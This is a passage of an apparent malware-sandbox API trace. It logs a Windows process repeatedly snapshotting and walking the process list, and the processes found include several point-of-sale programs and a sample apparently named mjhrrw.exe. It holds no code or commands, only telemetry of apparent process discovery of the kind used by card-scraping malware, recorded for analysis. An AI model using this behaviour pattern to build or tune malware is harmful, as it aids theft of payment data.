th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0075.285] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0075.286] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0075.287] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0075.288] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0075.289] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0077.181] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0077.182] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0077.183] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hearts_walker_poet.exe")) returned 1 [0077.184] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="lb_community.exe")) returned 1 [0077.185] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hispanic.exe")) returned 1 [0077.186] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0077.187] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1120, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.188] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0077.188] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0077.189] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0077.190] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0077.191] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0077.192] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0077.193] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0077.193] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11f4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0077.194] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x137c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.195] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0077.196] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0077.197] Process32NextW (in: hSnapshot=0x294, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 0 [0077.197] CloseHandle (hObject=0x294) returned 1 [0077.197] Sleep (dwMilliseconds=0x1f4) [0077.892] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x310 [0077.927] Process32FirstW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0077.928] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0077.928] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0077.929] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0077.930] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0077.931] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0077.932] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0077.932] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0077.933] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0077.933] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.934] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0077.935] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0077.935] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.936] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0077.936] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.937] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.938] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.938] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.939] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.940] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.940] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.941] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.941] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.942] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.943] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0077.943] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.944] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0077.944] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0077.945] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.324] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0078.324] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0078.325] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0078.325] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0078.326] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0078.326] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0078.327] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0078.327] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0078.328] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0078.328] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-windsor.exe")) returned 1 [0078.329] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed.exe")) returned 1 [0078.329] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="housing.exe")) returned 1 [0078.330] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x524, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrated.exe")) returned 1 [0078.330] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="clara_cancer.exe")) returned 1 [0078.332] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="solutionspassengersmoke.exe")) returned 1 [0078.333] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="wanted.exe")) returned 1 [0078.333] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="negotiations_g_mountains.exe")) returned 1 [0078.334] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rebound_spec_december.exe")) returned 1 [0078.334] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rt-flight.exe")) returned 1 [0078.335] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actually_kent.exe")) returned 1 [0078.335] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1 [0078.336] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0078.336] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary-fluid-heating.exe")) returned 1 [0078.337] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="copefinancesringtones.exe")) returned 1 [0078.337] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="recommend hold florists.exe")) returned 1 [0078.338] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0078.338] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0078.339] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, 